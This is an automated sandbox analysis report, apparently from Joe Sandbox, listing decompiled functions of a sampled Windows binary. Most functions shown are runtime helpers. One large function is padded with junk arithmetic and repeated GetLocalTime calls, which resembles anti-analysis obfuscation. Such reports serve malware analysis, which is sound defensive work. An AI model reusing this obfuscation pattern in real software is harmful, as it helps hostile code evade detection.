API String ID: 3220834306-1348449370
Opcode ID: 4ac9fadb9785a0cf4ca79a8aa30f4e5f3da6cef0ca18107c3340b67a13ec3ea0
Instruction ID: f1c2847fb2db2bac77e6d631668f5338c7a1cf2b3671e306dff1a69ab1cbd4e0
Opcode Fuzzy Hash: 4ac9fadb9785a0cf4ca79a8aa30f4e5f3da6cef0ca18107c3340b67a13ec3ea0
Instruction Fuzzy Hash: 1731F175E00109AFDB01EF95C88299EB7BCEF48305F50857BB910B3392DA38AF018B54

Uniqueness

Uniqueness Score: 100.00%

Function 00404376, Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

C-Code - Quality: 77%

			E00404376(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t10;
				void* _t19;

				_push(0xc);
				_push(0x416a98);
				E00405F60(__ebx, __edi, __esi);
				 *(_t19 - 0x1c) =  *(_t19 - 0x1c) & 0x00000000;
				E00405D00();
				 *(_t19 - 4) =  *(_t19 - 4) & 0x00000000;
				_t10 = E004043BA( *((intOrPtr*)(_t19 + 8))); // executed
				 *(_t19 - 0x1c) = _t10;
				 *(_t19 - 4) = 0xfffffffe;
				E004043B4();
				return E00405FA5(_t10);
			}

0x00404376
0x00404378
0x0040437d
0x00404382
0x00404386
0x0040438b
0x00404392
0x0040439a
0x0040439d
0x004043a4
0x004043b0

APIs

Part of subcall function 00405D00: __lock.LIBCMT ref: 00405D02

__onexit_nolock.LIBCMT ref: 00404392

Part of subcall function 004043BA: RtlDecodePointer.NTDLL(?,?,00000000,?,?,00404397,?,00416A98,0000000C,0040447D,?,?,00405C21,004094AF,?,00405788), ref: 004043CD
Part of subcall function 004043BA: RtlDecodePointer.NTDLL(?,?,00000000,?,?,00404397,?,00416A98,0000000C,0040447D,?,?,00405C21,004094AF,?,00405788), ref: 004043D8
Part of subcall function 004043BA: __realloc_crt.LIBCMT ref: 00404419
Part of subcall function 004043BA: __realloc_crt.LIBCMT ref: 0040442D
Part of subcall function 004043BA: EncodePointer.KERNEL32(00000000,?,?,00000000,?,?,00404397,?,00416A98,0000000C,0040447D,?,?,00405C21,004094AF), ref: 0040443F
Part of subcall function 004043BA: RtlEncodePointer.NTDLL(?,?,?,00000000,?,?,00404397,?,00416A98,0000000C,0040447D,?,?,00405C21,004094AF), ref: 0040444D
Part of subcall function 004043BA: RtlEncodePointer.NTDLL(00000004,?,?,00000000,?,?,00404397,?,00416A98,0000000C,0040447D,?,?,00405C21,004094AF), ref: 00404459

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: 93a9cfca598bd1f2a674ea4089d78db6220e3904113e6765718c39a3bc381e19
Instruction ID: 62d36309860a2ae0e5c1f5f93c530c4b5adde19fc561141067e7597aafea8c4a
Opcode Fuzzy Hash: 93a9cfca598bd1f2a674ea4089d78db6220e3904113e6765718c39a3bc381e19
Instruction Fuzzy Hash: 44D012B1D00A05EADB10BFA6880A75E76B0AF44729F61816FF514B61C2CB7C4A418F8D

Uniqueness

Uniqueness Score: 3.75%

Function 00406FBB, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

APIs

RtlEncodePointer.NTDLL(00406F74,00405C99,00000000,00000000,00000000,00000000,00000000,?,00406E62,00405724,00416AB8,00000014), ref: 00406FC0

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 0e9667995d2d070115fd007562c84606e8bca3e32ea0a0ecddda7c8f0ad141a9
Instruction ID: df04664b0937d34b2711fb9d62431351da484f652996ff8f05593103ab901c74
Opcode Fuzzy Hash: 0e9667995d2d070115fd007562c84606e8bca3e32ea0a0ecddda7c8f0ad141a9
Instruction Fuzzy Hash: E0A004F4DC51454FC7105F507D055447DF0774C70175741755551D1574D7740051D51D

Uniqueness

Uniqueness Score: 0.05%

Function 0040962E, Relevance: 1.3, Strings: 1, Instructions: 15
UNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040962E() {
				intOrPtr _t18;
				void* _t19;

				E00403BF4(_t19 - 0x1c, 2);
				E00403508(_t19 - 0x14, 2);
				_t18 =  *0x405f50; // 0x405f54, executed
				E00404810(_t19 - 0xc, _t18); // executed
				E004034E4(_t19 - 8);
				return E00403BDC(_t19 - 4);
			}

0x004095f8
0x00409605
0x0040960d
0x00409613
0x0040961b
0x00409628

Strings

T_@, xrefs: 0040960D

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513
String ID: T_@
API String ID: 1918176781-3742064501
Opcode ID: 45240a5695cc0e283b6aa04ef3557fbe7ed4e147eff421541306edceec1f3894
Instruction ID: 8b5251bd709936e28371a82c58d5052e0df1d517cf9fa4be09763b72f4a9433f
Opcode Fuzzy Hash: 45240a5695cc0e283b6aa04ef3557fbe7ed4e147eff421541306edceec1f3894
Instruction Fuzzy Hash: 77E06D7490000D9ADB00FF52C54659DF77DEF44305F904477541472697D73DEB069519

Uniqueness

Uniqueness Score: 100.00%

Non-executed Functions

Function 004019BA, Relevance: 381.2, APIs: 162, Strings: 55, Instructions: 1420
timewindowstringUNIQUE

C-Code - Quality: 98%

			E004019BA() {
				signed int _v4;
				struct _BY_HANDLE_FILE_INFORMATION _v56;
				char _v80;
				struct _SYSTEMTIME _v96;
				struct _SYSTEMTIME _v112;
				struct _SYSTEMTIME _v128;
				struct _SYSTEMTIME _v144;
				struct _SYSTEMTIME _v160;
				struct _SYSTEMTIME _v176;
				struct _SYSTEMTIME _v192;
				struct _SYSTEMTIME _v208;
				struct _SYSTEMTIME _v224;
				struct _SYSTEMTIME _v240;
				struct _SYSTEMTIME _v256;
				struct _SYSTEMTIME _v272;
				struct _SYSTEMTIME _v288;
				struct _SYSTEMTIME _v304;
				struct _SYSTEMTIME _v320;
				struct _SYSTEMTIME _v336;
				struct _SYSTEMTIME _v352;
				struct _SYSTEMTIME _v368;
				struct _SYSTEMTIME _v384;
				struct _SYSTEMTIME _v400;
				struct _SYSTEMTIME _v416;
				struct _SYSTEMTIME _v432;
				struct _SYSTEMTIME _v448;
				struct _SYSTEMTIME _v464;
				struct _SYSTEMTIME _v480;
				struct _SYSTEMTIME _v496;
				struct _SYSTEMTIME _v512;
				struct _SYSTEMTIME _v528;
				struct _SYSTEMTIME _v544;
				struct _SYSTEMTIME _v560;
				struct _SYSTEMTIME _v576;
				struct _SYSTEMTIME _v592;
				struct _SYSTEMTIME _v608;
				struct _SYSTEMTIME _v624;
				struct _SYSTEMTIME _v640;
				struct _SYSTEMTIME _v656;
				struct _SYSTEMTIME _v672;
				struct _SYSTEMTIME _v688;
				struct _SYSTEMTIME _v704;
				struct _SYSTEMTIME _v720;
				struct _SYSTEMTIME _v736;
				struct _SYSTEMTIME _v752;
				struct _SYSTEMTIME _v768;
				struct _SYSTEMTIME _v784;
				struct _SYSTEMTIME _v800;
				struct _SYSTEMTIME _v816;
				struct _SYSTEMTIME _v832;
				struct _SYSTEMTIME _v848;
				struct _SYSTEMTIME _v864;
				struct _SYSTEMTIME _v880;
				struct _SYSTEMTIME _v896;
				struct _SYSTEMTIME _v912;
				struct _SYSTEMTIME _v928;
				struct _SYSTEMTIME _v944;
				struct _SYSTEMTIME _v960;
				struct _SYSTEMTIME _v976;
				struct _SYSTEMTIME _v992;
				struct _SYSTEMTIME _v1008;
				struct _SYSTEMTIME _v1024;
				struct _SYSTEMTIME _v1040;
				struct _SYSTEMTIME _v1056;
				struct _SYSTEMTIME _v1072;
				struct _SYSTEMTIME _v1088;
				struct _SYSTEMTIME _v1104;
				struct _SYSTEMTIME _v1120;
				struct _SYSTEMTIME _v1136;
				struct _SYSTEMTIME _v1152;
				struct _SYSTEMTIME _v1168;
				struct _SYSTEMTIME _v1184;
				struct _SYSTEMTIME _v1200;
				struct _SYSTEMTIME _v1216;
				struct _SYSTEMTIME _v1232;
				struct _SYSTEMTIME _v1248;
				struct _SYSTEMTIME _v1264;
				struct _SYSTEMTIME _v1280;
				struct _SYSTEMTIME _v1296;
				struct _SYSTEMTIME _v1312;
				struct _SYSTEMTIME _v1328;
				struct _SYSTEMTIME _v1344;
				struct _SYSTEMTIME _v1360;
				struct _SYSTEMTIME _v1376;
				struct _SYSTEMTIME _v1392;
				struct _SYSTEMTIME _v1408;
				struct _SYSTEMTIME _v1424;
				struct _SYSTEMTIME _v1440;
				struct _SYSTEMTIME _v1456;
				struct _SYSTEMTIME _v1472;
				struct _SYSTEMTIME _v1488;
				struct _SYSTEMTIME _v1504;
				struct _SYSTEMTIME _v1520;
				struct _SYSTEMTIME _v1536;
				struct _SYSTEMTIME _v1552;
				struct _SYSTEMTIME _v1568;
				struct _SYSTEMTIME _v1584;
				struct _SYSTEMTIME _v1600;
				struct _SYSTEMTIME _v1616;
				struct _SYSTEMTIME _v1632;
				struct _SYSTEMTIME _v1648;
				struct _SYSTEMTIME _v1664;
				struct _SYSTEMTIME _v1680;
				struct _SYSTEMTIME _v1696;
				struct _SYSTEMTIME _v1712;
				struct _SYSTEMTIME _v1728;
				struct _SYSTEMTIME _v1744;
				struct _SYSTEMTIME _v1760;
				struct _SYSTEMTIME _v1776;
				struct _SYSTEMTIME _v1792;
				struct _SYSTEMTIME _v1808;
				struct _SYSTEMTIME _v1824;
				struct _SYSTEMTIME _v1840;
				struct _SYSTEMTIME _v1856;
				struct _SYSTEMTIME _v1872;
				struct _SYSTEMTIME _v1888;
				struct _SYSTEMTIME _v1904;
				struct _SYSTEMTIME _v1920;
				struct _SYSTEMTIME _v1936;
				struct _SYSTEMTIME _v1952;
				struct _SYSTEMTIME _v1968;
				struct _SYSTEMTIME _v1984;
				struct _SYSTEMTIME _v2000;
				struct _SYSTEMTIME _v2016;
				struct _SYSTEMTIME _v2032;
				struct _SYSTEMTIME _v2048;
				struct _SYSTEMTIME _v2064;
				struct _SYSTEMTIME _v2080;
				struct _SYSTEMTIME _v2096;
				struct _SYSTEMTIME _v2112;
				struct _SYSTEMTIME _v2128;
				struct _SYSTEMTIME _v2144;
				struct _SYSTEMTIME _v2160;
				struct _SYSTEMTIME _v2176;
				struct _SYSTEMTIME _v2192;
				struct _SYSTEMTIME _v2208;
				struct _SYSTEMTIME _v2224;
				struct _SYSTEMTIME _v2240;
				char _v2264;
				void* _v2268;
				intOrPtr _v2284;
				struct tagPOINT _v2300;
				intOrPtr _v2304;
				intOrPtr _v2308;
				intOrPtr _v2312;
				intOrPtr _v2316;
				intOrPtr _v2320;
				intOrPtr _v2324;
				intOrPtr _v2328;
				intOrPtr _v2332;
				intOrPtr _v2336;
				intOrPtr _v2340;
				intOrPtr _v2344;
				intOrPtr _v2348;
				intOrPtr _v2352;
				intOrPtr _v2356;
				intOrPtr _v2360;
				intOrPtr _v2364;
				intOrPtr _v2368;
				intOrPtr _v2372;
				intOrPtr _v2376;
				intOrPtr _v2380;
				intOrPtr _v2384;
				intOrPtr _v2388;
				intOrPtr _v2392;
				intOrPtr _v2396;
				intOrPtr _v2400;
				intOrPtr _v2404;
				intOrPtr _v2408;
				intOrPtr _v2412;
				intOrPtr _v2416;
				intOrPtr _v2420;
				intOrPtr _v2424;
				intOrPtr _v2428;
				intOrPtr _v2432;
				intOrPtr _v2436;
				intOrPtr _v2440;
				intOrPtr _v2444;
				intOrPtr _v2448;
				intOrPtr _v2452;
				intOrPtr _v2456;
				intOrPtr _v2460;
				intOrPtr _v2464;
				intOrPtr _v2468;
				intOrPtr _v2472;
				intOrPtr _v2476;
				intOrPtr _v2480;
				intOrPtr _v2484;
				intOrPtr _v2488;
				intOrPtr _v2492;
				intOrPtr _v2496;
				intOrPtr _v2500;
				intOrPtr _v2504;
				intOrPtr _v2508;
				intOrPtr _v2512;
				intOrPtr _v2516;
				intOrPtr _v2520;
				intOrPtr _v2524;
				intOrPtr _v2528;
				intOrPtr _v2532;
				intOrPtr _v2536;
				intOrPtr _v2540;
				intOrPtr _v2544;
				intOrPtr _v2548;
				intOrPtr _v2552;
				intOrPtr _v2556;
				intOrPtr _v2560;
				intOrPtr _v2564;
				intOrPtr _v2568;
				intOrPtr _v2572;
				intOrPtr _v2576;
				intOrPtr _v2580;
				intOrPtr _v2584;
				intOrPtr _v2588;
				intOrPtr _v2592;
				intOrPtr _v2596;
				intOrPtr _v2600;
				intOrPtr _v2604;
				intOrPtr _v2608;
				intOrPtr _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				intOrPtr _v2624;
				intOrPtr _v2628;
				intOrPtr _v2632;
				intOrPtr _v2636;
				intOrPtr _v2640;
				intOrPtr _v2644;
				intOrPtr _v2648;
				intOrPtr _v2652;
				intOrPtr _v2656;
				intOrPtr _v2660;
				intOrPtr _v2664;
				intOrPtr _v2668;
				intOrPtr _v2672;
				intOrPtr _v2676;
				intOrPtr _v2680;
				intOrPtr _v2684;
				intOrPtr _v2688;
				intOrPtr _v2692;
				intOrPtr _v2696;
				intOrPtr _v2700;
				intOrPtr _v2704;
				intOrPtr _v2708;
				long _v2712;
				intOrPtr _v2716;
				intOrPtr _v2720;
				intOrPtr _v2724;
				intOrPtr _v2728;
				intOrPtr _v2732;
				intOrPtr _v2736;
				intOrPtr _v2740;
				intOrPtr _v2744;
				intOrPtr _v2748;
				intOrPtr _v2752;
				intOrPtr _v2756;
				intOrPtr _v2760;
				intOrPtr _v2764;
				intOrPtr _v2768;
				intOrPtr _v2772;
				intOrPtr _v2776;
				intOrPtr _v2780;
				intOrPtr _v2784;
				intOrPtr _v2788;
				intOrPtr _v2792;
				intOrPtr _v2796;
				intOrPtr _v2800;
				intOrPtr _v2804;
				intOrPtr _v2808;
				intOrPtr _v2812;
				intOrPtr _v2816;
				intOrPtr _v2820;
				intOrPtr _v2824;
				intOrPtr _v2828;
				intOrPtr _v2832;
				intOrPtr _v2836;
				intOrPtr _v2840;
				intOrPtr _v2844;
				intOrPtr _v2848;
				intOrPtr _v2852;
				intOrPtr _v2856;
				intOrPtr _v2860;
				intOrPtr _v2864;
				intOrPtr _v2868;
				intOrPtr _v2872;
				intOrPtr _v2876;
				intOrPtr _v2880;
				intOrPtr _v2884;
				intOrPtr _v2888;
				intOrPtr _v2892;
				intOrPtr _v2896;
				intOrPtr _v2900;
				intOrPtr _v2904;
				intOrPtr _v2908;
				intOrPtr _v2912;
				intOrPtr _v2916;
				intOrPtr _v2920;
				intOrPtr _v2924;
				intOrPtr _v2928;
				intOrPtr _v2932;
				intOrPtr _v2936;
				intOrPtr _v2940;
				intOrPtr _v2944;
				intOrPtr _v2948;
				intOrPtr _v2952;
				intOrPtr _v2956;
				intOrPtr _v2960;
				intOrPtr _v2964;
				intOrPtr _v2968;
				intOrPtr _v2972;
				intOrPtr _v2976;
				intOrPtr _v2980;
				intOrPtr _v2984;
				intOrPtr _v2988;
				intOrPtr _v2992;
				intOrPtr _v2996;
				intOrPtr _v3000;
				intOrPtr _v3004;
				intOrPtr _v3008;
				intOrPtr _v3012;
				intOrPtr _v3016;
				intOrPtr _v3020;
				intOrPtr _v3024;
				intOrPtr _v3028;
				intOrPtr _v3032;
				intOrPtr _v3036;
				intOrPtr _v3040;
				intOrPtr _v3044;
				void* _v3048;
				signed int _t1580;
				long _t1721;
				void* _t1735;
				char _t1742;
				char _t1743;
				char _t1744;
				char _t1745;
				char _t1746;
				char _t1747;
				short _t1748;
				intOrPtr _t1751;
				void* _t1761;
				void* _t1763;
				short _t1765;
				intOrPtr* _t1768;
				void* _t1770;
				void* _t1772;
				long _t1773;
				intOrPtr _t1775;
				void* _t1776;
				short _t1779;
				long _t1780;
				void* _t1781;
				intOrPtr _t1785;
				signed int _t1786;
				intOrPtr _t1792;

				_t1786 =  &_v3048;
				_t1580 =  *0x429830; // 0xf81d6277
				_v4 = _t1580 ^ _t1786;
				_push(_t1761);
				_v2968 = 0x407a19c9;
				_v3020 = 0x3e641c95;
				_v2932 = 0x540c7e3d;
				_v3044 = 0x55693c0d;
				_v3024 = 0x3ef121c5;
				_v3004 = 0x1413a929;
				_v2948 = 0x2258a92c;
				_v2868 = 0x3c3273aa;
				_v2964 = 0x31efa985;
				_v2708 = 0x77b3ade6;
				_v2676 = 0x402c7c19;
				_v3008 = 0x2955be71;
				_v2560 = 0x6bfb3977;
				_v2988 = 0x2425e5cb;
				_v2996 = 0x576e0d20;
				_v2980 = 0x66a36f57;
				_v3012 = 0x1d63fe1e;
				_v2920 = 0x765c310c;
				_v2764 = 0x6224bff5;
				_v2956 = 0x55b2dcf9;
				_v2824 = 0x6a60582c;
				_v2848 = 0x514684fb;
				_v2900 = 0x1ecb1f41;
				_v2960 = 0x203e65e;
				_v2724 = 0x246a3187;
				_v2780 = 0x7be4f9f8;
				_v2716 = 0x4baa857c;
				_v2972 = 0x674cc54d;
				_v2500 = 0x589d132f;
				_v2772 = 0x7aaa2f5b;
				_v2836 = 0x336f46b8;
				_v2728 = 0x3253bf49;
				_v2908 = 0x7d2d4327;
				_v2748 = 0x5fb58f5c;
				_v2512 = 0x46f5c939;
				_v2700 = 0x3488ef7f;
				_v2568 = 0x4aeb1340;
				_v2668 = 0x5841a6fc;
				_v2740 = 0x2bbf224;
				_v2504 = 0x6f86631b;
				_v2304 = 0x17bf9935;
				_v2528 = 0x746e0819;
				_v2428 = 0x47207a2c;
				_v2692 = 0x6b61435a;
				_v2424 = 0x80fae98;
				_v2756 = 0x787a4c83;
				_v2612 = 0xacb5ffb;
				_v2636 = 0x5505b9ea;
				_v2416 = 0x36a1f5e2;
				_v2376 = 0x37c1968c;
				_v2480 = 0x68a10e0c;
				_v2684 = 0x4db89bc1;
				_v2352 = 0x3d70144e;
				_v2488 = 0x7ab5e002;
				_v2536 = 0xfd414c1;
				_v2808 = 0x288166be;
				_v2328 = 0x252d767;
				_v2552 = 0x7d05aec1;
				_v2360 = 0x121fefe8;
				_v2344 = 0x217247cc;
				_v2408 = 0x70098d5a;
				_v2392 = 0xe67e1a2;
				_v2456 = 0x20a10241;
				_v2544 = 0x2ab0c407;
				_v2400 = 0x77c6b047;
				_v2472 = 0xe951f6c;
				_v2596 = 0x41be3a5e;
				_v2520 = 0x4280fbbf;
				_v2448 = 0x7a790262;
				_v2464 = 0x741f5a35;
				_v2660 = 0x590e0730;
				_v2496 = 0x11e5b5aa;
				_v2384 = 0x5d4747a9;
				_v2312 = 0x351b4239;
				_v2628 = 0x33862abd;
				_v2604 = 0x99a0e14;
				_v2320 = 0x50542d11;
				_v2368 = 0x3a81b5b1;
				_v2336 = 0x5c59d0c7;
				GetLocalTime( &_v1712);
				_v2968 = _v2968 + 0x7dee8f0d;
				GetLocalTime( &_v160);
				GetLocalTime( &_v112);
				_v2968 = _v2968 - 0x322d93ef;
				GetLocalTime( &_v1136);
				_v2968 = _v2968 + 0x5a3eeb1c;
				_v2968 = _v2968 + 0x2c7a938e;
				_v3020 = _v3020 - 0x20d7bd4d;
				GetLocalTime( &_v2192);
				_v2932 = _v2932 - 0x7ae744cc;
				_v2968 = _v2968 - 0x2223eb4b;
				_v3044 = _v3044 + 0x2fffe8ec;
				GetLocalTime( &_v592);
				GetLocalTime( &_v2160);
				_v3020 = _v3020 + 0xa4bc60d;
				_v3004 = _v3004 - 0x777343da;
				_v3004 = _v3004 - 0x5f125757;
				GetLocalTime( &_v1104);
				_v3024 = _v3024 - 0x6b63bb25;
				_v3020 = _v3020 + 0x78075d67;
				GetLocalTime( &_v2128);
				_v3024 = _v3024 + 0x15affe90;
				_v3020 = _v3020 + 0x52cadca5;
				_v3024 = _v3024 - 0x581122de;
				GetLocalTime( &_v128);
				_v3044 = _v3044 - 0x261f0ee0;
				GetLocalTime( &_v2096);
				_v3024 = _v3024 + 0x7d871e5f;
				_v2964 = _v2964 + 0x5d25ca79;
				GetLocalTime( &_v1072);
				GetLocalTime( &_v2064);
				_v2932 = _v2932 - 0x1b0b002f;
				GetLocalTime( &_v560);
				_v3044 = _v3044 - 0x56886a51;
				_v3044 = _v3044 + 0x42e547d3;
				GetLocalTime( &_v2032);
				GetLocalTime( &_v1040);
				_v3020 = _v3020 - 0x5fac1710;
				_v3020 = _v3020 - 0x708d49d6;
				GetLocalTime( &_v2000);
				_v3008 = _v3008 - 0x6ad296c4;
				_v2964 = _v2964 - 0x797747af;
				_v3024 = _v3024 + 0x38f8bb06;
				_v3044 = _v3044 - 0x70bae512;
				_v3008 = _v3008 - 0x2cd0fd8f;
				GetLocalTime( &_v304);
				GetLocalTime( &_v1968);
				GetLocalTime( &_v1008);
				GetLocalTime( &_v1936);
				_v3044 = _v3044 - 0x5bfa260e;
				_v2964 = _v2964 - 0x6bf8e784;
				GetLocalTime( &_v528);
				_v3020 = _v3020 + 0x1f1de0ec;
				GetLocalTime( &_v1904);
				_v3024 = _v3024 - 0x1bd984be;
				GetLocalTime( &_v976);
				_v2988 = _v2988 + 0x5f824016;
				GetLocalTime( &_v1872);
				_v3044 = _v3044 - 0x50c9c8ed;
				GetLocalTime( &_v176);
				_v2868 = _v2868 + 0x6697de75;
				_v3008 = _v3008 - 0x47d6021e;
				_v3004 = _v3004 + 0x4b548a2d;
				GetLocalTime( &_v1840);
				_v2988 = _v2988 + 0x773dc620;
				_v3004 = _v3004 - 0x1359c71b;
				_v2996 = _v2996 - 0x7568b216;
				GetLocalTime( &_v944);
				_v2676 = _v2676 + 0x509a6456;
				GetLocalTime( &_v1808);
				GetLocalTime( &_v496);
				_v2932 = _v2932 - 0x6ef61637;
				_v2980 = _v2980 - 0x1724ae1e;
				_v3012 = _v3012 + 0x5eb48aae;
				_v3008 = _v3008 - 0x5cc16929;
				_v3012 = _v3012 - 0x4c4aaed2;
				GetLocalTime( &_v1776);
				_v3012 = _v3012 - 0x1b952d09;
				GetLocalTime( &_v912);
				GetLocalTime( &_v1744);
				_v3044 = _v3044 - 0x932bf8d;
				_v2824 = _v2824 + 0x31efb199;
				_v2996 = _v2996 + 0xe62c21b;
				_v3012 = _v3012 + 0x695606ac;
				GetLocalTime( &_v272);
				GetLocalTime( &_v2240);
				_v2956 = _v2956 - 0x699f4fed;
				_v2948 = _v2948 + 0x6ac41917;
				GetLocalTime( &_v880);
				_v2996 = _v2996 - 0x359eaa35;
				_v3008 = _v3008 - 0xf829e18;
				_v3044 = _v3044 + 0x6371e2de;
				_v2920 = _v2920 + 0x2bb5cc12;
				_v2724 = _v2724 + 0x47cb7610;
				_v3008 = _v3008 - 0xfb4acc;
				_v2996 = _v2996 + 0x6a7b5355;
				_v3012 = _v3012 + 0x78cec520;
				_v2824 = _v2824 + 0xfbab990;
				GetLocalTime( &_v1680);
				_v3012 = _v3012 - 0xc075081;
				_v2980 = _v2980 - 0x3fe80ea3;
				_v2956 = _v2956 + 0x6a8d4112;
				_v2780 = _v2780 - 0x770c8759;
				_v3012 = _v3012 + 0x2d466e35;
				_v2948 = _v2948 + 0x48498dfc;
				_v2964 = _v2964 + 0x722eaa43;
				_v2972 = _v2972 - 0x2b5a592;
				_v2848 = _v2848 - 0x293a0fd7;
				_v2968 = _v2968 + 0x24efdee3;
				GetLocalTime( &_v464);
				GetLocalTime( &_v1648);
				_v2988 = _v2988 + 0x6177a8d8;
				GetLocalTime( &_v848);
				_v2708 = _v2708 + 0xb16d169;
				GetLocalTime( &_v1616);
				GetLocalTime( &_v96);
				GetLocalTime( &_v1584);
				GetLocalTime( &_v816);
				GetLocalTime( &_v1552);
				GetLocalTime( &_v432);
				_v3012 = _v3012 + 0x553aa04d;
				_v3008 = _v3008 - 0x739176cb;
				GetLocalTime( &_v1520);
				_v3044 = _v3044 - 0x43388296;
				GetLocalTime( &_v784);
				_v2932 = _v2932 - 0x6e6c6f68;
				_v2724 = _v2724 + 0xf6af904;
				GetLocalTime( &_v1488);
				_v3044 = _v3044 - 0x71cf84b9;
				_v2900 = _v2900 - 0x795f8ac8;
				_v3024 = _v3024 - 0x6dd4d263;
				_v2772 = _v2772 - 0x347104b0;
				_v2500 = _v2500 + 0x75d134d9;
				_v2868 = _v2868 + 0x686037c5;
				_v2972 = _v2972 - 0x79ce9319;
				_v3044 = _v3044 - 0x6b61e1fa;
				_v3004 = _v3004 - 0x7766d758;
				_v2948 = _v2948 - 0x374aefcd;
				GetLocalTime( &_v240);
				GetLocalTime( &_v1456);
				_v2728 = _v2728 + 0x13ad9417;
				_v2920 = _v2920 + 0x391aae33;
				_v2748 = _v2748 + 0x22008cb4;
				GetLocalTime( &_v752);
				GetLocalTime( &_v1424);
				GetLocalTime( &_v400);
				_v2848 = _v2848 - 0x29fe05f0;
				_v2956 = _v2956 + 0x69350bc9;
				_v2920 = _v2920 - 0x62beacf5;
				GetLocalTime( &_v1392);
				GetLocalTime( &_v720);
				_v2908 = _v2908 - 0x7cded7f5;
				_v2908 = _v2908 - 0x463b60f1;
				_v2772 = _v2772 - 0x62acc74;
				GetLocalTime( &_v1360);
				_v2908 = _v2908 + 0x2d3b6078;
				GetLocalTime( &_v144);
				GetLocalTime( &_v1328);
				_v2900 = _v2900 - 0x455e9ebe;
				_v2908 = _v2908 - 0x485cf3fc;
				_v2956 = _v2956 - 0x40450700;
				_v2972 = _v2972 - 0x42039c90;
				GetLocalTime( &_v688);
				_v2960 = _v2960 - 0xd9b8124;
				_v3024 = _v3024 - 0x75385024;
				GetLocalTime( &_v1296);
				_v2868 = _v2868 - 0x12b5a6de;
				_v3044 = _v3044 - 0x342ac8be;
				_v2972 = _v2972 + 0x33d0ec16;
				_v2988 = _v2988 + 0x523cc30b;
				_v2740 = _v2740 - 0x582479a1;
				GetLocalTime( &_v368);
				GetLocalTime( &_v1264);
				_v2700 = _v2700 - 0x3efd3e2;
				_v2980 = _v2980 - 0x48209241;
				GetLocalTime( &_v656);
				_v3044 = _v3044 - 0x3374d303;
				_v2836 = _v2836 - 0x471278b0;
				_v2960 = _v2960 + 0x2ed7d0f6;
				_v3020 = _v3020 + 0x21c06e32;
				_v2748 = _v2748 + 0x1ffc26c4;
				_v2728 = _v2728 + 0x6ace9b4f;
				_v2836 = _v2836 + 0x637c3100;
				_v2996 = _v2996 + 0x4ec91ceb;
				GetLocalTime( &_v1232);
				_v2304 = _v2304 - 0x30cf3389;
				GetLocalTime( &_v208);
				_v2668 = _v2668 + 0x3246e444;
				_v2728 = _v2728 + 0x276c27e7;
				_v2764 = _v2764 - 0x7d9e35e9;
				GetLocalTime( &_v1200);
				GetLocalTime( &_v624);
				GetLocalTime( &_v1168);
				GetLocalTime( &_v336);
				_v2948 = _v2948 - 0x71a8665;
				_v2920 = _v2920 - 0x2ffc2b5c;
				_v2748 = _v2748 + 0x5b8550a0;
				GetLocalTime( &_v2224);
				_v2972 = _v2972 + 0x5616f7b2;
				GetLocalTime( &_v2208);
				GetLocalTime( &_v2176);
				_v2836 = _v2836 + 0x6571b241;
				GetLocalTime( &_v2144);
				_v2920 = _v2920 - 0x7f291e9a;
				_v3008 = _v3008 - 0x16f7ed97;
				_v2996 = _v2996 - 0xb8e5b51;
				_v2956 = _v2956 - 0x7f652120;
				_v2780 = _v2780 - 0x73356457;
				_v2780 = _v2780 - 0x7e8b1d17;
				GetLocalTime( &_v2112);
				_v2764 = _v2764 - 0x34796e49;
				GetLocalTime( &_v2080);
				_v2980 = _v2980 - 0x296799d;
				_v2996 = _v2996 + 0x72f84e85;
				_v2568 = _v2568 - 0x6c6f6419;
				_v2716 = _v2716 + 0x588f4ee9;
				GetLocalTime( &_v2048);
				_v2836 = _v2836 + 0x1d99b096;
				_v2848 = _v2848 - 0x49c27424;
				_v2716 = _v2716 - 0x14bb9955;
				_v2824 = _v2824 + 0x48f8b4ec;
				GetLocalTime( &_v2016);
				GetLocalTime( &_v1984);
				GetLocalTime( &_v1952);
				GetLocalTime( &_v1920);
				GetLocalTime( &_v1888);
				GetLocalTime( &_v1856);
				_v2684 = _v2684 + 0x1f350;
				GetLocalTime( &_v1824);
				GetLocalTime( &_v1792);
				_v2968 = _v2968 + 0x5994ff0c;
				_v2964 = _v2964 - 0x33654a9d;
				_v2900 = _v2900 - 0x537d21d6;
				_v2868 = _v2868 - 0x5a62cc21;
				_v3024 = _v3024 + 0xc2ae7c9;
				_v2612 = _v2612 + 0x73e6b792;
				_v2964 = _v2964 - 0xf548f46;
				_v2932 = _v2932 - 0x495ce651;
				_v2684 = _v2684 + 0x1679bfa2;
				GetLocalTime( &_v1760);
				_v2700 = _v2700 - 0x7a3be4bf;
				_v2948 = _v2948 + 0xb86c9f7;
				_v2972 = _v2972 + 0x5c23cd7b;
				_v2980 = _v2980 + 0x4a566710;
				GetLocalTime( &_v1728);
				_v2636 = _v2636 + 0x6cffe6b;
				GetLocalTime( &_v1696);
				GetLocalTime( &_v1664);
